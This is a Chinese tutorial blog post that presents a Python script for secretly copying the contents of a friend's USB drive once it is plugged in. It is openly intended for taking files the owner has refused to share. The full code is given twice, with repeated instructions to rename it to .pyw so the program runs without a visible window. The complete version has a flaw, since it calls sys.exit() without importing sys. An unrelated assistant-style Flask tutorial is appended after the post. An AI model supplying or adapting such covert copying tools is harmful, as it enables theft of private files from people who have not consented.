用Python制作一个偷偷在后台复制U盘内容的程序

当朋友U盘中的文件你想要,但他又不给你时,就用这个Python程序,特别简单基础,最后还有完整可直接复制的代码......话不多说先上效果图

 

 

注:点击确定后窗口会消失(记得把.py后缀该成.pyw),当指定盘符位置有U盘接入时,会自行在后台复制,复制的文件会在D盘中一个叫U盘的文件夹内

代码剖析:

                1.环境准备    Python3.10.2安装包    Python3.7.4 32位安装包    Python 3.7.2 64位安装包

                2.Python库准备    环境安装完成后打开cmd运行

           pip install --user pyautogui==0.9.50

                  等待下载完毕

                  3.代码编写

                  第一部分    导入模块

#python3
from datetime import datetime    #导入Python库(模块)
import time,sys,pyautogui,os,shutil    

                   什么是pyautogui?    以下内容来自异步社区电子书《Python编程快速上手 让繁琐工作自动化 第2版》电子书链接 

                    

                    

                  第二部分    获取要复制的盘符

盘符 = pyautogui.confirm("请选择盘符","","EFGHIJKLMNOPQRSTUVWXYZ")    #图形化界面获取盘符信息

                  第三部分    处理获取信息

盘符2 = 盘符    #处理信息,以便后面命名文件夹
盘符 = 盘符+":\\"    #处理信息,改为正确路径

                  第四部分    再次确定和设置保存位置

再次确认=pyautogui.confirm("确认选择?",盘符)
保存路径 = "D:\\U盘"

                  第五部分    程序主干

if 再次确认 == "OK":    #判断是否确认
    while (True):    #重复执行
        if os.path.exists(盘符):    #检查所选盘符是否有U盘接入
            shutil.copytree(盘符,os.path.join(保存路径,datetime.now().strftime("%Y-%m-%d %H-%M-%S-"+盘符2)))    #如果有接入,开始复制,将复制的文件放在D盘一个叫“U盘”的文件夹中,并在叫“U盘”的文件夹中创建一个有着复制开始时间及盘符名字的文件夹
            break    #复制完成,退出循环
        else:
            time.sleep(10)    #如果没检测到,等待十秒,继续检测
sys.exit()    #如果再次确认为“否”,会跳转到这里并结束程序  注:程序正常执行完成也会跳转到这里

程序剖析结束 

记得把.py后缀该成.pyw(不然窗口不会消失)

完整代码:

#Python3
import os
import time
from datetime import datetime
import shutil
import pyautogui
盘符 = pyautogui.confirm("请选择盘符","","EFGHIJKLMNOPQRSTUVWXYZ")
盘符2 = 盘符
盘符 = 盘符+":\\"
再次确认=pyautogui.confirm("确认选择?",盘符)
保存路径 = "D:\\U盘"
if 再次确认 == "OK":
    while (True):
        if os.path.exists(盘符):
            shutil.copytree(盘符,os.path.join(保存路径,datetime.now().strftime("%Y-%m-%d %H-%M-%S-"+盘符2)))
            break
        else:
            time.sleep(10)
sys.exit() 

 注:记得把.py后缀该成.pyw(不然窗口不会消失)

#Python3
import os
import time
from datetime import datetime
import shutil
import pyautogui
盘符 = pyautogui.confirm("请选择盘符","","EFGHIJKLMNOPQRSTUVWXYZ")
盘符2 = 盘符
盘符 = 盘符+":\\"
再次确认=pyautogui.confirm("确认选择?",盘符)
保存路径 = "D:\\U盘"
if 再次确认 == "OK":
    while (True):
        if os.path.exists(盘符):
            shutil.copytree(盘符,os.path.join(保存路径,datetime.now().strftime("%Y-%m-%d %H-%M-%S-"+盘符2)))
            break
        else:
            time.sleep(10)
sys.exit() 

注:【再次提醒】记得把.py后缀该成.pyw(不然窗口不会消失)

                    

                    

                                                           

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
好的,针对您的问题,我可以给出一些参考答案。Python 作为一种高级编程语言,已经成为了众多 Web 后台开发者的首选语言之一。下面是一个简单的 Python 后台管理程序开发步骤: 1.安装 Flask 框架 Flask 是一个轻量级的 Python Web 框架,因为它高度灵活而被广泛使用。下面是使用 pip 安装 Flask 的指令: ``` pip install Flask ``` 2.设置 Flask 应用 创建一个 python 文件,例如 app.py,在文件中导入 Flask 应用。下面是一个基本的 Flask 应用例子: ``` from flask import Flask app = Flask(__name__) @app.route('/') def index(): return "Hello World!" if __name__ == '__main__': app.run() ``` 3.设置数据库 对于一个管理系统而言,数据库是非常重要的。Flask 支持多种数据库,你可以根据自己的需要来选择。这里以使用 MySQL 数据库为例,进行演示。 ``` from flask import Flask from flask_sqlalchemy import SQLAlchemy app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://username:password@localhost/mydatabase' db = SQLAlchemy(app) class User(db.Model): __tablename__ = 'users' id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(80), unique=True) password = db.Column(db.String(120)) def __repr__(self): return '<User %r>' % self.username if __name__ == '__main__': app.run() ``` 4.设置路由 在 Flask 应用中,路由是用来指定 URL 和函数之间的映射关系。下面是一个路由示例: ``` from flask import Flask app = Flask(__name__) @app.route('/') def index(): return 'Index Page' @app.route('/hello') def hello(): return 'Hello, World' if __name__ == '__main__': app.run() ``` 5.设置模板 为了使你的 Web 应用更加美观和易于维护,需要使用模板引擎。Flask 默认使用 Jinja2 模板引擎,并且可以轻松地将其与 HTML 页面结合使用。下面是一个模板演示: ``` from flask import Flask, render_template app = Flask(__name__) @app.route('/') def index(): return render_template('index.html') if __name__ == '__main__': app.run() ``` 以上就是一个简单的 Python 后台管理程序开发步骤,希望能够对你有所帮助。如果您需要更多信息或有任何问题,请不要犹豫联系我。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值